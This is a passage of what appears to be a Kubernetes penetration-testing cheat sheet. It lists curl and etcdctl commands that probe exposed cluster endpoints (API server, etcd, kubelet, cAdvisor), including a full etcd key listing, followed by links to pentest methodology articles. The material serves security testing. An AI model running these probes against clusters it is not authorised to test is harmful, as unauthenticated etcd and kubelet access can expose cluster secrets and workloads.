<a id="__codelineno-13-11" name="__codelineno-13-11" href="#__codelineno-13-11"></a><span class="nb">curl </span><span class="n">-v</span> <span class="n">-H</span> <span class="s2">&quot;Authorization: Bearer &lt;jwt_token&gt;&quot;</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">master_ip</span><span class="p">:&lt;</span><span class="n">port</span><span class="p">&gt;/</span><span class="n">apis</span><span class="p">/</span><span class="n">extensions</span><span class="p">/</span><span class="n">v1beta1</span><span class="p">/</span><span class="n">namespaces</span><span class="p">/</span><span class="k">default</span><span class="p">/</span><span class="n">daemonsets</span>
</code></pre></div>
<h2 id="api-addresses-that-you-should-know">API addresses that you should know</h2>
<p><em>(External network visibility)</em></p>
<h3 id="cadvisor">cAdvisor</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">IP</span> <span class="n">Address</span><span class="p">&gt;:</span><span class="n">4194</span>
</code></pre></div>
<h3 id="insecure-api-server">Insecure API server</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">IP</span> <span class="n">Address</span><span class="p">&gt;:</span><span class="n">8080</span>
</code></pre></div>
<h3 id="secure-api-server">Secure API Server</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">IP</span> <span class="n">Address</span><span class="p">&gt;:(</span><span class="n">8</span><span class="p">|</span><span class="n">6</span><span class="p">)</span><span class="n">443</span><span class="p">/</span><span class="n">swaggerapi</span>
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">IP</span> <span class="n">Address</span><span class="p">&gt;:(</span><span class="n">8</span><span class="p">|</span><span class="n">6</span><span class="p">)</span><span class="n">443</span><span class="p">/</span><span class="n">healthz</span>
<a id="__codelineno-16-3" name="__codelineno-16-3" href="#__codelineno-16-3"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">IP</span> <span class="n">Address</span><span class="p">&gt;:(</span><span class="n">8</span><span class="p">|</span><span class="n">6</span><span class="p">)</span><span class="n">443</span><span class="p">/</span><span class="n">api</span><span class="p">/</span><span class="n">v1</span>
</code></pre></div>
<h3 id="etcd-api">etcd API</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">IP</span> <span class="n">address</span><span class="p">&gt;:</span><span class="n">2379</span>
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">IP</span> <span class="n">address</span><span class="p">&gt;:</span><span class="n">2379</span><span class="p">/</span><span class="n">version</span>
<a id="__codelineno-17-3" name="__codelineno-17-3" href="#__codelineno-17-3"></a><span class="n">etcdctl</span> <span class="p">-</span><span class="n">-endpoints</span><span class="p">=</span><span class="n">http</span><span class="p">://&lt;</span><span class="n">MASTER-IP</span><span class="p">&gt;:</span><span class="n">2379</span> <span class="n">get</span> <span class="p">/</span> <span class="p">-</span><span class="n">-prefix</span> <span class="p">-</span><span class="n">-keys-only</span>
</code></pre></div>
<h3 id="kubelet-api">Kubelet API</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">IP</span> <span class="n">address</span><span class="p">&gt;:</span><span class="n">10250</span>
<a id="__codelineno-18-2" name="__codelineno-18-2" href="#__codelineno-18-2"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">IP</span> <span class="n">address</span><span class="p">&gt;:</span><span class="n">10250</span><span class="p">/</span><span class="n">metrics</span>
<a id="__codelineno-18-3" name="__codelineno-18-3" href="#__codelineno-18-3"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">IP</span> <span class="n">address</span><span class="p">&gt;:</span><span class="n">10250</span><span class="p">/</span><span class="n">pods</span>
</code></pre></div>
<h3 id="kubelet-read-only">kubelet (Read only)</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">IP</span> <span class="n">Address</span><span class="p">&gt;:</span><span class="n">10255</span>
<a id="__codelineno-19-2" name="__codelineno-19-2" href="#__codelineno-19-2"></a><span class="n">http</span><span class="p">://&lt;</span><span class="n">external-IP</span><span class="p">&gt;:</span><span class="n">10255</span><span class="p">/</span><span class="n">pods</span>
</code></pre></div>
<h2 id="references">References</h2>
<ul>
<li><a href="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1">Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019</a></li>
<li><a href="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2">Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019</a></li>
<li><a href="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3">Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019</a></li>
<li><a href="https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0">Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon</a></li>
<li><a href="https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation">Kubernetes Pod Privilege Escalation</a></li>
</ul>
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